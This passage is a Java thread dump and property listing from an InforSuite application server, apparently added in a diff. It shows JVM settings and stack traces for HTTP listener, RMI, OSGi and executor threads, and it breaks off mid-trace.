/usr/local/inforsuite/as/domains +felix.fileinstall.bundles.new.start: true +com.cvicse.loong.las.javaRoot: /usr/java/jdk-8/jre +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/inforsuite/as/domains/domain1/config/cacerts.jks +javax.net.ssl.keyStorePassword: changeit +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"iiop-service-kernel(1) SelectorRunner" #110 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.cvicse.inforsuite.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:74) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:299) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.run(SelectorRunner.java:239) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:553) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(9)" #76 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(32)" #65 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-2-thread-1" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79296d55 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-1" #89 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(28)" #61 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-7" #147 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(14)" #81 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-16-thread-1" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(10)" #77 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(27)" #60 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(1)-192.168.215.4" #126 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:475) + at sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:469) + at sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:69) + at sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1228) + at sun.security.ssl.SSLSocketImpl.access$300(SSLSocketImpl.java:75) + at sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:915) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$16/1961326705.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Configuration Updater" #117 daemon [WAITING] on java.util.LinkedList@3ff03081 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:67) + +"deployment-jar-scanner" #130 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bcfa3a7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DestroyJavaVM" #116 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-16" #94 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c25ac63 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Signal Dispatcher" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-thread-pool::http-listener-1(16)" #49 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(20)" #53 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(11)" #44 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"transaction-manager" #33 daemon [WAITING] on java.util.TaskQueue@51c2deac + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool::http-listener-2(7)" #74 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"IASFileHandler log pump" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13969720 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.enterprise.server.logging.IASFileHandler.log(IASFileHandler.java:873) + at com.cvicse.loong.enterprise.server.logging.IASFileHandler$3.run(IASFileHandler.java:563) + +"http-thread-pool::http-listener-1(22)" #55 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@172a9d26 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"RMI TCP Accept-8686" #123 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:535) + at java.net.ServerSocket.implAccept(ServerSocket.java:545) + at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:748) + +"FelixDispatchQueue" #16 daemon [WAITING] on java.util.ArrayList@41eb97a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.util.EventDispatcher.run(EventDispatcher.java:1063) + at org.apache.felix.framework.util.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.util.EventDispatcher$1.run(EventDispatcher.java:101) + at java.lang.Thread.run(Thread.java:748) + +"admin-thread-pool::admin-listener(1)" #107 daemon [WAITING] on java.lang.Object@5836d87c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(9)" #42 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-expirer(1)" #108 daemon [TIMED_WAITING] on java.lang.Object@703a9501 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.cvicse.inforsuite.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:130) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(13)" #46 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837847660" #21 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7ecd3aba + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(27)" #98 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(6)" #73 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(8)" #41 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(17)" #84 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RMI Reaper" #124 [WAITING] on java.lang.ref.ReferenceQueue$Lock@713324c4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(6)" #39 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(31)" #64 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(25)" #96 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-kernel(1) SelectorRunner" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.cvicse.inforsuite.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:74) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:299) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.run(SelectorRunner.java:239) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:553) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-12-thread-1" #137 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(26)" #59 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-21-thread-1" #149 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"InforSuite Kernel Main Thread" #115 [WAITING] on com.cvicse.loong.enterprise.v9.server.AppServerStartup$1@4cf0f3a8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.loong.enterprise.v9.server.AppServerStartup$1.run(AppServerStartup.java:218) + +"http-thread-pool::http-listener-1(21)" #54 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-3" #93 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at 